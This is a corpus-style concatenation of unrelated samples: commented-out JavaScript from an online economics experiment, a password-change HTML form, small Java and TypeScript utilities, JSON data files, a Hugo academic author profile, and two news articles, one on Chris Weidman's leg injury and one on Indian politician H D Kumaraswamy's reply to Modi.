{Player_ID: node.game.ownID}, // add: {timeQuest2: node.game.timeQuest2,Question2: node.game.fairestOfferGood, // Question21: node.game.question21, // Question22: node.game.question22, // Question23: node.game.question23} // }; // node.set('bsc_questTime',timeResultProp); // questionnaire4(0); // } // else{ // var msg = 'Please enter a non-fractional number between 0 and 10 in the field: "What would be, in your view, the fairest offer a proposer can make in this experiment?" '; // checkID(msg); // } // }; // }); // return; // }; // // // Questionaire Page 4 - Data Processing // function questionnaire4(timeout){ // var url = '/burdenRAHR/html/questionnaire4.html'; // W.loadFrame(url, function(){ // node.game.timeQuest3 = Date.now(); // var options = { // milliseconds: 240000, // 1200000 ms is equivalent to 20 minutes // timeup: function() { // node.game.timeQuest3 = Math.round(Math.abs(node.game.timeQuest3 - Date.now())/1000); // for(var j = 1; j <= 2; j++){ // if(W.getElementById("q41" + j).checked ){ // node.game.question31 = W.getElementById("q41" + j).value; // break; // } // }; // for(var j = 1; j <= 3; j++){ // if(W.getElementById("q42" + j).checked ){ // node.game.question32 = W.getElementById("q42" + j).value; // break; // } // }; // for(var j = 1; j <= 5; j++){ // if(W.getElementById("q43" + j).checked ){ // node.game.question33 = W.getElementById("q43" + j).value; // break; // } // }; // for(var j = 1; j <= 3; j++){ // if(W.getElementById("q44" + j).checked ){ // node.game.question34 = W.getElementById("q44" + j).value; // break; // } // }; // var timeResultProp = { // playerID : {Player_ID: node.game.ownID}, // add: {timeQuest3: node.game.timeQuest3, question31: node.game.question31, // question32: node.game.question32, question33: node.game.question33, question34: node.game.question34} // }; // node.set('bsc_questTime',timeResultProp); // questionnaire5(1); // }, // }; // node.game.timer.init(options); // node.game.timer.updateDisplay(); // node.game.timer.start(options); // // var quest4 = W.getElementById('continue'); // quest4.onclick = function() { // node.game.timeQuest3 = Math.round(Math.abs(node.game.timeQuest3 - Date.now())/1000); // for(var j = 1; j <= 2; j++){ // if(W.getElementById("q41" + j).checked ){ // node.game.question31 = W.getElementById("q41" + j).value; // break; // } // }; // for(var j = 1; j <= 3; j++){ // if(W.getElementById("q42" + j).checked ){ // node.game.question32 = W.getElementById("q42" + j).value; // break; // } // }; // for(var j = 1; j <= 5; j++){ // if(W.getElementById("q43" + j).checked ){ // node.game.question33 = W.getElementById("q43" + j).value; // break; // } // }; // for(var j = 1; j <= 3; j++){ // if(W.getElementById("q44" + j).checked ){ // node.game.question34 = W.getElementById("q44" + j).value; // break; // } // }; // node.game.timer.stop(); // var timeResultProp = { // playerID : {Player_ID: node.game.ownID}, // add: {timeQuest3: node.game.timeQuest3, question31: node.game.question31, // question32: node.game.question32, question33: node.game.question33, question34: node.game.question34} // }; // node.set('bsc_questTime',timeResultProp); // questionnaire5(0); // }; // }); // return; // }; // // // Questionaire Page 5 - Data Processing // function questionnaire5(timeout){ // var url = '/burdenRAHR/html/questionnaire5.html'; // // W.loadFrame(url, function(){ // node.game.timeQuest4 = Date.now(); // var options = { // milliseconds: 180000, // 1200000 ms is equivalent to 20 minutes // timeup: function() { // node.game.timeQuest4 = Math.round(Math.abs(node.game.timeQuest4 - Date.now())/1000); // if(W.getElementById("q511").checked){ // node.game.quest411 = 1; // } // else{ node.game.quest411 = 0; } // if(W.getElementById("q512").checked){ // node.game.quest412 = 1; // } // else{ node.game.quest412 = 0; } // if(W.getElementById("q513").checked){ // node.game.quest413 = 1; // } // else{ node.game.quest413 = 0; } // if(W.getElementById("q514").checked){ // node.game.quest414 = 1; // } // else{ node.game.quest414 = 0; } // if(W.getElementById("q515").checked){ // node.game.quest415 = 1; // } // else{ node.game.quest415 = 0; } // if(W.getElementById("q516").checked){ // node.game.quest416 = 1; // } // else{ node.game.quest416 = 0; } // if(W.getElementById("q517").checked){ // node.game.quest417 = 1; // } // else{ node.game.quest417 = 0; } // // // Question q521 ...q526 // if(W.getElementById("q521").checked){ // node.game.quest421 = 1; // } // else{ node.game.quest421 = 0; } // if(W.getElementById("q522").checked){ // node.game.quest422 = 1; // } // else{ node.game.quest422 = 0; } // if(W.getElementById("q523").checked){ // node.game.quest423 = 1; // } // else{ node.game.quest423 = 0; } // if(W.getElementById("q524").checked){ // node.game.quest424 = 1; // } // else{ node.game.quest424 = 0; } // if(W.getElementById("q525").checked){ // node.game.quest425 = 1; // } // else{ node.game.quest425 = 0; } // if(W.getElementById("q526").checked){ // node.game.quest426 = 1; // } // else{ node.game.quest426 = 0; } // // // // // // var qu51 = 0; // // var qu52 = 0; // // var question41 = new Array(); // // node.game.question41Good = ''; // // for(var j = 1; j <= 7; j++){ // // if(W.getElementById("q51" + j).checked){ // // question41[qu51] = W.getElementById("q51" + j).value; // // node.game.question41Good = node.game.question41Good + question41[qu51].toString(); // // qu51++; // // } // // }; // // var question42 = new Array(); // // question42Good = ''; // // for(var j = 1; j <= 6; j++){ // // if(W.getElementById("q52" + j).checked ){ // // question42[qu52] = W.getElementById("q52" + j).value; // // node.game.question42Good = node.game.question42Good + question42[qu52].toString(); // // qu52++; // // } // // }; // // var timeResultProp = { // playerID : {Player_ID: node.game.ownID}, // add: { // timeQuest4: node.game.timeQuest4, // question411: node.game.quest411, // question412: node.game.quest412, // question413: node.game.quest413, // question414: node.game.quest414, // question415: node.game.quest415, // question416: node.game.quest416, // question417: node.game.quest417, // question421: node.game.quest421, // question422: node.game.quest422, // question423: node.game.quest423, // question424: node.game.quest424, // question425: node.game.quest425, // question426: node.game.quest426 // } // }; // node.set('bsc_questTime',timeResultProp); // questionnaire6(1); // }, // }; // node.game.timer.init(options); // node.game.timer.updateDisplay(); // node.game.timer.start(options); // // var quest5 = W.getElementById('continue'); // quest5.onclick = function() { // node.game.timeQuest4 = Math.round(Math.abs(node.game.timeQuest4 - Date.now())/1000); // if(W.getElementById("q511").checked){ // node.game.quest411 = 1; // } // else{ node.game.quest411 = 0; } // if(W.getElementById("q512").checked){ // node.game.quest412 = 1; // } // else{ node.game.quest412 = 0; } // if(W.getElementById("q513").checked){ // node.game.quest413 = 1; // } // else{ node.game.quest413 = 0; } // if(W.getElementById("q514").checked){ // node.game.quest414 = 1; // } // else{ node.game.quest414 = 0; } // if(W.getElementById("q515").checked){ // node.game.quest415 = 1; // } // else{ node.game.quest415 = 0; } // if(W.getElementById("q516").checked){ // node.game.quest416 = 1; // } // else{ node.game.quest416 = 0; } // if(W.getElementById("q517").checked){ // node.game.quest417 = 1; // } // else{ node.game.quest417 = 0; } // // // Question q521 ...q526 // if(W.getElementById("q521").checked){ // node.game.quest421 = 1; // } // else{ node.game.quest421 = 0; } // if(W.getElementById("q522").checked){ // node.game.quest422 = 1; // } // else{ node.game.quest422 = 0; } // if(W.getElementById("q523").checked){ // node.game.quest423 = 1; // } // else{ node.game.quest423 = 0; } // if(W.getElementById("q524").checked){ // node.game.quest424 = 1; // } // else{ node.game.quest424 = 0; } // if(W.getElementById("q525").checked){ // node.game.quest425 = 1; // } // else{ node.game.quest425 = 0; } // if(W.getElementById("q526").checked){ // node.game.quest426 = 1; // } // else{ node.game.quest426 = 0; } // // // // // var qu51 = 0; // // var qu52 = 0; // // var question41 = new Array(); // // node.game.question41Good = ''; // // for(var j = 1; j <= 7; j++){ // // if(W.getElementById("q51" + j).checked){ // // question41[qu51] = W.getElementById("q51" + j).value; // // node.game.question41Good = node.game.question41Good + question41[qu51].toString(); // // qu51++; // // } // // }; // // var question42 = new Array(); // // question42Good = ''; // // for(var j = 1; j <= 6; j++){ // // if(W.getElementById("q52" + j).checked ){ // // question42[qu52] = W.getElementById("q52" + j).value; // // node.game.question42Good = node.game.question42Good + question42[qu52].toString(); // // qu52++; // // } // // }; // node.game.timer.stop(); // var timeResultProp = { // playerID : {Player_ID: node.game.ownID,}, // add: { // timeQuest4: node.game.timeQuest4, // question411: node.game.quest411, // question412: node.game.quest412, // question413: node.game.quest413, // question414: node.game.quest414, // question415: node.game.quest415, // question416: node.game.quest416, // question417: node.game.quest417, // question421: node.game.quest421, // question422: node.game.quest422, // question423: node.game.quest423, // question424: node.game.quest424, // question425: node.game.quest425, // question426: node.game.quest426 // } // }; // node.set('bsc_questTime',timeResultProp); // questionnaire6(0); // }; // }); // return; // }; // // // Questionaire Page 6 - Data Processing // function questionnaire6(timeout){ // var url = '/burdenRAHR/html/questionnaire6.html'; // // W.loadFrame(url, function(){ // node.game.timeQuest5 = Date.now(); // var options = { // milliseconds: 120000, // 1200000 ms is equivalent to 20 minutes // timeup: function() { // node.game.timeQuest5 = Math.round(Math.abs(node.game.timeQuest5 - Date.now())/1000); // var age1 = W.getElementById('age').value; // age = parseInt(age1); // node.game.question5 =''; // for(var j = 1; j <= 2; j++){ // if(W.getElementById("q6" + j).checked){ // node.game.question5 = W.getElementById("q6" + j).value; // break; // } // }; // node.game.comment51 = W.getElementById('comment61').value; // node.game.comment52 = W.getElementById('comment62').value; // if(!isNaN(age) && isFinite(age) && age >= 0 && age <= 100 && age1 % 1 == 0){ // ageGood = age1; // } // else{ // ageGood = 'Time out - No answer'; // } // var timeResultProp = { // playerID : {Player_ID: node.game.ownID,}, // add: {timeQuest5: node.game.timeQuest5, Age: node.game.ageGood, Gender: node.game.question5, // question51: node.game.comment51, question52: node.game.comment52} // }; // node.set('bsc_questTime',timeResultProp); // questionnaire7(1); // }, // }; // node.game.timer.init(options); // node.game.timer.updateDisplay(); // node.game.timer.start(options); // // var quest6 = W.getElementById('continue'); // quest6.onclick = function() { // node.game.timeQuest5 = Math.round(Math.abs(node.game.timeQuest5 - Date.now())/1000); // var age1 = W.getElementById('age').value; // age = parseInt(age1); // node.game.question5 =''; // for(var j = 1; j <= 2; j++){ // if(W.getElementById("q6" + j).checked){ // node.game.question5 = W.getElementById("q6" + j).value; // break; // } // }; // node.game.comment51 = W.getElementById('comment61').value; // node.game.comment52 = W.getElementById('comment62').value; // if(!isNaN(age) && isFinite(age) && age >= 0 && age <= 100 && age1 % 1 == 0){ // node.game.ageGood = age1; // node.game.timer.stop(); // var timeResultProp = { // playerID : {Player_ID: node.game.ownID,}, // add: {timeQuest5: node.game.timeQuest5, Age: node.game.ageGood, Gender: node.game.question5, // question51: node.game.comment51, question52: node.game.comment52} // }; // node.set('bsc_questTime',timeResultProp); // questionnaire7(0); // } // else{ // var msg = 'Please enter a non-fractional number between 1 and 100 in the field: "How old are you?"'; // checkID(msg); // } // }; // }); // return; // }; // // // Questionaire Page 7 - Data Processing // function questionnaire7(timeout){ // var url = '/burdenRAHR/html/questionnaire7.html'; // console.log("Bonus: " + bonus); // W.loadFrame(url, function(){ // node.game.timeQuest6 = Date.now(); // var options = { // milliseconds: 240000, // 1200000 ms is equivalent to 20 minutes // timeup: function() { // node.game.timeQuest6 = Math.round(Math.abs(node.game.timeQuest6 - Date.now())/1000); // node.game.comment6 = W.getElementById('comment7').value; // var timeResultProp = { // playerID : {Player_ID: node.game.ownID}, // add: {timeQuest6: node.game.timeQuest6, Question6: node.game.comment6} // }; // node.set('bsc_questTime',timeResultProp); // node.say("QUEST_DONE", "SERVER", bonus); // // node.emit('DONE'); // }, // }; // node.game.timer.init(options); // node.game.timer.updateDisplay(); // node.game.timer.start(options); // // var quest7 = W.getElementById('continue'); // quest7.onclick = function() { // node.game.timeQuest6 = Math.round(Math.abs(node.game.timeQuest6 - Date.now())/1000); // node.game.timer.stop(); // node.game.comment6 = W.getElementById('comment7').value; // var timeResultProp = { // playerID : {Player_ID: node.game.ownID}, // add: {timeQuest6: node.game.timeQuest6, Question6: node.game.comment6} // }; // node.set('bsc_questTime',timeResultProp); // // debugger; // node.say("QUEST_DONE", "SERVER", bonus); // // //node.say("questionnaire_done", "SERVER"); // // node.emit('DONE'); // }; // }); // return; // }; } }); return; }; function clearFrame() { node.emit('INPUT_DISABLE'); return true; } function notEnoughPlayers() { // alert('Not Enought Players'); node.game.pause(); W.lockScreen('One player disconnected. We are now waiting to see if ' + ' he or she reconnects. If there is no reconnection within 60 seconds the game will be terminated and you will be forwarded to the questionnaire.'); } stager.addStage({ id: 'precache', cb: precache, // `minPlayers` triggers the execution of a callback in the case // the number of players (including this client) falls the below // the chosen threshold. Related: `maxPlayers`, and `exactPlayers`. minPlayers: [ 4, notEnoughPlayers ], syncOnLoaded: true, done: clearFrame }); stager.addStage({ id: 'instructions', cb: instructions, minPlayers: [ 4, notEnoughPlayers ], steprule: stepRules.SYNC_STAGE, syncOnLoaded: false, done: clearFrame, // timer: { // milliseconds: 5000, // 240000 ms is equivalent to 6 minutes (reading time approximately 2 minutes times 2) // update: 1000, // timeup: function() { // node.game.timer.stop(); // this.disabled = "disabled"; // node.game.timeInstruction = Math.round(Math.abs(node.game.timeInstruction - Date.now())/1000); // var timeInstr = { // Player_ID: node.game.ownID, // Current_Round: "Instructions", // TimeInstruction: node.game.timeInstruction // }; // node.set('bsc_instrTime',timeInstr); // node.emit('DONE'); // }, // } }); stager.addStep({ id: "initialSituation", cb: initialSituation, stepRule: syncGroup, timer: { milliseconds: 180000, // 120000 ms is equivalent to 2 minutes update: 1000, timeup: function(){ node.game.timer.stop(); node.game.timeInitialSituation = Math.round(Math.abs(node.game.timeInitialSituation - Date.now())/1000); node.game.timeInitialSituationResp = Math.round(Math.abs(node.game.timeInitialSituationResp - Date.now())/1000); var timeInitialSituation = {timeInitialSituation: node.game.timeInitialSituation}; // node.set('bsc_time',timeInitialSituation); node.emit('DONE'); }, } }); stager.addStep({ id: "decision", cb: decision, stepRule: syncGroup }); stager.addStep({ id: "syncGroups", cb: function() { node.socket.send(node.msg.create({ to: 'ALL', text: 'Round_Over', data: node.player.stage.round })); node.on('GROUP_DONE', function(msg) { node.emit("DONE"); }); }, stepRule: syncGroup }); stager.addStage({ id: 'burdenSharingControl', steps: ["syncGroups", "initialSituation", "decision"], // steps: ["initialSituation", "decision"], minPlayers: [ 4, notEnoughPlayers ], // minPlayers: [ 4, function() { // // node.game.pause(); // alert('Not enough players'); // } ], steprule: stepRules.SYNC_STEP, // syncOnLoaded: true, done: clearFrame // timer: 330000 }); stager.addStage({ id: 'questionnaire', cb: questionnaire // steprule: stepRules.SYNC_STAGE, // timer: 330000 }); function syncGroup(stage, myStageLevel, pl, game) { var p = node.game.pl.get(node.game.otherID); if (p.stageLevel === node.constants.stageLevels.DONE) { if (myStageLevel === node.constants.stageLevels.DONE) { return true; } } } // stager.addStage({ // id: 'endOfExperiment', // cb: function() { // W.loadFrame('/burden/html/ended.html', function() { // console.log('End of Experiment'); // document.getElementById('state').innerHTML = "End of Experiment"; // var options = { // milliseconds: 30000, // update: 1000, // timeup: function() { // // node.DONE(); // }, // }; // node.game.timer.init(options); // node.game.timer.updateDisplay(); // node.game.timer.restart(options); // // }); // return true; // } // // timer: 330000 // }); //Now that all the stages have been added, //we can build the game plot stager.init() // .next('precache') .next('instructions') .repeat('burdenSharingControl', REPEAT) .next('questionnaire'); //.next('endOfExperiment'); //We serialize the game sequence before sending it game.plot = stager.getState(); //Let's add the metadata information game.metadata = { name: 'burdenSharingControl', version: '0.0.2', session: 1, description: 'no descr' }; //Other settings, optional game.settings = { publishLevel: 2 }; //auto: true = automatic run, auto: false = user input game.env = { auto: false };
javascript
{% extends "layout.html" %} {% block title %} Change password {% endblock %} {% block main %} <form action="/pass" method="post"> <div class="form-group"> <input class="form-control" name="password" placeholder="Current password" type="password"> </div> <div class="form-group"> <input class="form-control" name="new_pass" placeholder="<PASSWORD>" type="password"> </div> <div class="form-group"> <input class="form-control" name="confirmation" placeholder="Confirm Password" type="password"> </div> <button class="btn btn-primary color" type="submit">Change password</button> </form> {% endblock %}
html
package py.lpz.nelson.pd.singleton.logger; import java.util.Date; public final class Logger { private String logs; public Logger() { this.clear(); } public String getLogs() { return this.logs; } public void addLog(String log) { this.logs = this.logs + ">>> " + log + "\n"; } public void clear() { this.logs = new Date().toString() + "\n"; } }
java
<gh_stars>1-10 {"word":"wrap","definition":"To snatch up; transport; -- chiefly used in the p. p. wrapt. Lo! where the stripling, wrapt in wonder, roves. Beattie.\n\n1. To wind or fold together; to arrange in folds. Then cometh <NAME>, . . . and seeth . . . the napkin that was about his head, not lying with the linen clothes, but wrapped together in a place by itself. John xx. 6, 7. Like one that wraps the drapery of his couch About him, and lies down to pleasant dreams. Bryant. 2. To cover by winding or folding; to envelop completely; to involve; to infold; -- often with up. I . . . wrapt in mist Of midnight vapor, glide obscure. Milton. 3. To conceal by enveloping or infolding; to hide; hence, to involve, as an effect or consequence; to be followed by. Wise poets that wrap truth in tales. Carew. To be wrapped up in, to be wholly engrossed in; to be entirely dependent on; to be covered with. Leontine's young wife, in whom all his happiness was wrapped up, died in a few days after the death of her daughter. Addison. Things reflected on in gross and transiently . . . are thought to be wrapped up in impenetrable obscurity. Locke.\n\nA wrapper; -- often used in the plural for blankets, furs, shawls, etc., used in riding or traveling."}
json
[{"namaKab":"BOMBANA","originalFilename":"FT 4 X 6.jpg","namaPartai":"Partai Kebangkitan Bangsa","id":61842,"noUrut":1,"nama":"<NAME>","stringJenisKelamin":"Perempuan"},{"namaKab":"BOMBANA","originalFilename":"mashap 4 X 6.jpg","namaPartai":"Partai Kebangkitan Bangsa","id":24007,"noUrut":2,"nama":"<NAME>","stringJenisKelamin":"Laki-Laki"},{"namaKab":"BOMBANA","originalFilename":"salman.jpg","namaPartai":"Partai Kebangkitan Bangsa","id":24181,"noUrut":3,"nama":"<NAME>","stringJenisKelamin":"Laki-Laki"},{"namaKab":"BOMBANA","originalFilename":"FT SRI 4 X 6.jpg","namaPartai":"Partai Kebangkitan Bangsa","id":69190,"noUrut":4,"nama":"<NAME>","stringJenisKelamin":"Perempuan"},{"namaKab":"BOMBANA","originalFilename":"FT NAS 4 X 6.jpg","namaPartai":"Partai Kebangkitan Bangsa","id":24130,"noUrut":5,"nama":"<NAME>., MH","stringJenisKelamin":"Laki-Laki"}]
json
<reponame>ccamara/carloscamara-hugo +++ # Display name title = "<NAME>" # Username (this should match the folder name) authors = ["carlos"] # Is this the primary user of the site? superuser = true # Role/position role = "Architect. PhD. Lecturer. Student." # Organizations/Affiliations # Separate multiple entries with a comma, using the form: `[ {name="Org1", url=""}, {name="Org2", url=""} ]`. organizations = [ { name = "University of Warwick", url = "https://warwick.ac.uk/fac/arts/schoolforcross-facultystudies/igsd/" }, { name = "Oxford Brookes University", url = "https://brookes.ac.uk/" }, { name = "Universitat Oberta de Catalunya", url = "http://uoc.edu"} ] # Short bio (displayed in user profile at end of posts) bio = """Interested in the commodifications between cities, society and technology""" # Enter email to display Gravatar (if Gravatar enabled in Config) email = "<EMAIL>" # Highlight the author in author lists? (true/false) highlight_name = true # List (academic) interests or hobbies interests = [ "Cities", "Tecnology", "Society", "Commons", "Maps", "Data Science", "Data Viz" ] # Organizational groups that you belong to (for People widget) # Set this to `[]` or comment out if you are not using People widget. user_groups = [] # List qualifications (such as academic degrees) [[education.courses]] course = "PhD on Information and Knowledge Society" institution = "Universitat Oberta de Catalunya" year = 2018 [[education.courses]] course = "Msc on Information and Knowledge Society" institution = "Universitat Oberta de Catalunya" year = 2012 [[education.courses]] course = "MSC Architecture" institution = "Universitat Politècnica de Catalunya" year = 2004 # Social/Academic Networking # For available icons, see: https://sourcethemes.com/academic/docs/widgets/#icons # For an email link, use "fas" icon pack, "envelope" icon, and a link in the # form "mailto:<EMAIL>" or "#contact" for contact widget. # [[social]] # icon = "envelope" # icon_pack = "fas" # link = "#contact" # For a direct email link, use "mailto:<EMAIL>". [[social]] icon = "twitter" icon_pack = "fab" link = "https://twitter.com/carlescamara" [[social]] icon = "orcid" icon_pack = "ai" link = "http://orcid.org/0000-0002-9378-0549" [[social]] icon = "google-scholar" icon_pack = "ai" link = "https://scholar.google.es/citations?user=zuCP2PAAAAAJ&hl" [[social]] icon = "github" icon_pack = "fab" link = "https://github.com/ccamara" [[social]] icon = "linkedin" icon_pack = "fab" link = "https://www.linkedin.com/in/carlescamara" [[social]] icon = "map-marked-alt" icon_pack = "fas" link = "https://openstreetmap.org/user/ccamara" # Link to a PDF of your resume/CV from the About widget. # To enable, copy your resume/CV to `static/files/cv.pdf` and uncomment the lines below. # [[social]] # icon = "cv" # icon_pack = "ai" # link = "files/cv.pdf" +++ Architect by the ETSA Vallés of the _Universitat Politècnica de Catalunya_ (2004). Ph.D. in Information and Knowledge Society from the _Universitat Oberta de Catalunya_ (2018) with a thesis on Barcelona and new city models in the information and knowledge society with the title *["Urban Commons: Lessons from Barcelona at the Beginning of 21st Century. A characterization proposal from the praxis."](https://phd.carloscamara.es)* rated Excellent _cum Laude_ and awarded the [IND+I Science prize in the category Metropolitan Innovation Policies](http://indi.cat/indi-science/). Master in Computerization of Architectural Projects at the Universitat Politècnica de Catalunya (2004) and Master in Information and Knowledge Society at the Universitat Oberta de Catalunya (2012).<span id="dots">...</span><div id="more"> My multi-disciplinary training and **my multiple research interests are structured around the comodifications between city, technology and society within the framework of informationalism and free culture**, aspects that I approach both from my academic professional side and from my activist side. I am currently a researcher associate at [Urban Transformations and Global Change (TURBA)](https://www.uoc.edu/portal/en/in3/recerca/grups/urban_transformation_and) of the Universitat Oberta de Catalunya and I am currently on a leave from [Universidad San Jorge](https://usj.es), where I have been working from 2009-2019 as a Lecturer at the School of Architecture and Technology, teaching Digital Tools, Open Classroom and Urbanism I and researching at the OpenSource Architectures research group. Since the academic year 2015-2016 until 2019 I led the action-research project [Zaragoza Accesible](https://zaccesible.usj.es), which has aroused acceptance and interest among members of local collectives and the disability sector as well as in the press and has recently been awarded with the [García Mercadal accessit](/blog/2017/10/02/zaragoza-accesible-accesit-premio-garcia-mercadal/), awarded by the Colegio de Arquitectos de Aragón, in the category of removal of architectural barriers. I have been a guest lecturer in the subject "Digital Fabrication" at the [School of Artehicture at the Limerick Univeristy](http://saul.ie/) (2013), in the summer course Arquiredes organized in 2010 by the University of Granada and in the Vertical Workshop 2009 directed by <NAME> and <NAME> in the International University of Catalonia (UIC) in 2009 directed by <NAME> and <NAME> in the International University of Catalonia. Complementary, I am also a reviewer in several journals, such as [The International Journal of the Commons](https://www.thecommonsjournal.org/) (International Association for the Study of the Commons), [Eure, Revista Latinoamericana de Estudios Urbanos Regionales](http://eure.cl/index.php), [Revista de Arquitectura](https://editorial.ucatolica.edu.co/ojsucatolica/revistas_ucatolica/index.php/RevArq) (Catholic University of Chile) or [URBS: journal of urban studies and social sciences](http://www2.ual.es/urbs/index.php/urbs/index) (Universidad de Almería), where I recently (March 2018) joined the editorial team. On my activist side, I cintribute to open and alternative projects and initiatives such as [OpenStreetMap](https://openstreetmap.org), [QGIS](https://qgis.es), [Cadáveres Inmobiliarios](http://cadaveresinmobiliarios.org/), [Drupal](http://drupal.org) or [Mapeado Colaborativo](https://mapcolabora.org), the action-research group I founded with <NAME> in 2016 to promote the tools and knowledge to make open and alternative cartographies. Additionally, I have also worked as a web developer and I have exploited my side as a divulgator as a member of the team of the [XI edition of the Spanish Biennial of Architecture and Urbanism (2011)](/project/web-beauxi/) organized by the Consejo Superior de Colegios de Arquitectos de España, curating the travelling exhibition "[Materia Sensible, jóvenes arquitectos catalanes](http://materiasensible.cat)", together with <NAME> and <NAME> (2010-2012), the exhibition "44 Young European Architects", together with <NAME>, as well as in the architecture documentary agency Scalae (2007-2009) and the direction of the magazine Arquitectura Plus during the years 2008 and 2009. In 2004 I created [+arquitectura](/project/plusarquitectura/), an architecture portal that I kept open until 2010 and that introduced me to the world of programming and free software and was one of the works selected for the 2008 Arquia/Proxima prize awarded by the Caja de Arquitectos Foundation. Years later (2009) I started my second journey in the world of digital entrepreneurship: [ArchTLAS](/project/archtlas/), a collaborative and online atlas of architecture. In 2006 I created my personal blog and, after several radical transformations such as the one you are reading, I keep it updated relatively frequently today at this same URL.</div> <button onclick="expandText()" id="readmore">Read More</button>
markdown
{ "id": "rct2.ww.rdrab05", "authors": ["<NAME>"], "version": "1.0", "originalId": "0CBD0A11|RDRAB05 |A3750172", "sourceGame": "rct2ww", "objectType": "scenery_small", "properties": { "price": 20, "removalPrice": -15, "cursor": "CURSOR_HOUSE_DOWN", "height": 64, "shape": "4/4", "isRotatable": true, "hasPrimaryColour": true, "isStackable": true, "hasNoSupports": true }, "images": ["$RCT2:OBJDATA/RDRAB05.DAT[0..3]"], "strings": { "name": { "en-GB": "Drab Small Tower Minaret Base", "fr-FR": "Base de petite tour de dôme terne", "de-DE": "Düsterer Kleiner Turm - Zwiebelkuppel-Basis", "es-ES": "Base de torre pequeña de minareteapagado", "it-IT": "Base di torre piccola smorta a minareto", "nl-NL": "Vale basis kleine Minaret-toren", "sv-SE": "Gråbrun bas för litet minarettorn", "cs-CZ": "Základna malého minaretu", "ko-KR": "칙칙하고 작은 뾰족탑 기본", "pl-PL": "Płowa wieżyczka - podstawa minaretu", "ru-RU": "Деталь башни", "pt-BR": "Base de Pequena Torre de Minarete Gris", "ja-JP": "壊れた小さな塔のミナレットの土台", "eo-OO": "Bazo de Dubekolora Malgranda Turo-Minareto" } } }
json
Chris Weidman snapped his right leg at UFC 261 when his kick was partially checked by UFC middleweight Uriah Hall. The grave injury has left the MMA community wondering if the All-American will ever set foot inside the octagon. Chris Weidman's brother-in-law, UFC welterweight Stephen Thompson, believes the former champion will continue his chase for the title. In an interview with TMZ Sports, 'Wonderboy' hailed Weidman's mental fortitude, recollecting the instance where he first trained alongside the NCAA champion. Thompson said: "When I first started training with Chris Weidman, it was before he was the champion. And I realized, when he got the title, why he was the champion. The grind that he puts himself through. The mental toughness and spiritual toughness this guy has is unbreakable. So, knowing that about him, I know for a fact he will come back." Chris Weidman is said to have sustained an open fracture of the tibia and fibula in his right leg. The former middleweight champion's kicking ability might be vastly hindered due to a compound fracture. However, "Wonderboy" believes Weidman won't be fazed by the compromised leg as he predominantly relies on his wrestling acumen. Stephen Thompson explained: "He can never throw a kick again and still dominate in his division. He is not known for his kicking, he is known for his striking, his wrestling. That's the thing that makes it not very worrisome." Dana White shared a clip of Chris Weidman's leg snap via Twitter at UFC 261. The UFC president claimed that the Weidman vs Hall bout marked the first instance where a UFC fighter won without throwing a single strike. (Warning: The following video contains disturbing imagery. Viewer discretion advised) Chris Weidman exited the octagon on a stretcher and was immediately hospitalized. The former champion later posted a video on various social media handles, providing an update on his injury. In a heartfelt message, Chris Weidman said: "It's pretty brutal but I'm going to get through this. It's going to be eight weeks till I can walk without crutches. As far as like actual training, I don't know. They said between six and twelve months, I'd be good to go. Trying to find the blessing in disguise."
english
let observer: any = {}; observer.list = {}; // 订阅消息 observer.subscribe = function (key:any, fn:any) { if (!this.list[key]) { this.list[key] = []; } this.list[key].push(fn); }; // 发送消息 observer.trigger = function (key:any) { let fns = this.list[key]; if (!fns) return; let args = [].slice.call(arguments, 0); for (let i = 0; i < fns.length; i++) { fns[i](...args); } }; // 取消订阅 observer.unsubscribe = function (key:any, fn:any) { if (fn === true) { this.list[key] = null; return; } let fns = this.list[key]; if (!fns) return; this.list[key] = fns.filter((item:any) => { return item !== fn; }); }; export default observer;
typescript
Communal politics is a bigger threat to the future of India than dynastic politics, former Karnataka chief minister and leader of the regional Janata Dal (Secular) party H D Kumaraswamy said on Friday, in response to Prime Minister Narendra Modi’s warning in Hyderabad that dynastic parties function against the interest of the nation. In a series of social media messages on Friday, Kumaraswamy called the attack on dynastic politics an indirect effort to undermine regional parties in the country that have emerged as the main source of political resistance to BJP’s communal politics since the downslide of the Congress. “The danger to the nation is not from dynastic political parties, it is posed by communal parties like the BJP. Parties raising emotive issues to grab political ground are the real threat to democracy and pose a threat to constitutional values. I do not think that the honourable Modi is not aware of this,” Kumaraswamy said on Twitter. Earlier, on Thursday, during a visit to Telangana, Prime Minister Modi had targeted the Telangana Rashtra Samiti party which is in power in Telangana under Chief Minister K Chandrashekhar Rao. “Wherever dynasty politics has been wiped out, there has been development and growth. Family politics is a threat to democracy, and as soon as a ‘parivari party’ comes to power, they become corrupt. The family tries to hold on to power for as long as possible,” Modi said. PM Modi was in Hyderabad on Thursday even as the Telangana CM KCR was in Bengaluru to meet former PM and JDS leader H D Deve Gowda to discuss a national alliance against the BJP – especially in the context of the election of a new President that is scheduled for July. Prime Minister Modi’s comments against dynastic parties were seen as targeting southern political parties like TRS in Telangana, the DMK in Tamil Nadu, and the JDS in Karnataka where individual families hold sway over the party – KCR in TRS, the Karunanidhi family in DMK and the Gowda family in the JDS. “The intent of the Prime Minister is to target regional parties under the guise of targeting dynastic politics. Since the fall of the Congress party, regional parties emerged as the main political rivals to the BJP. The BJP may go to any extent to finish off such regional parties,” Kumaraswamy said on social media on Friday. Kumaraswamy also stated that the BJP should understand that it was also a branch (as the Jan Sangh) of a political family that came together under Jayaprakash Narayan to fight the Emergency. He said the NDA comprised many regional parties when it came to power. “There are many instances of dynastic politics in the BJP itself,” Kumaraswamy stated. “Who has disrupted the unity in diversity achieved in the country despite the presence of multiple castes, religions, languages, food, and commercial practices? Who started the unconstitutional practice of poaching legislators from other parties under Operation Lotus? ” the former Karnataka CM said in an indirect reference to the BJP. “The strategy of targeting dynastic politics to attack regional parties will not bear fruit. India is not about the BJP alone. Only when 140 crore people in India come together can there be India. I hope the PM will understand this,” Kumaraswamy said.
english
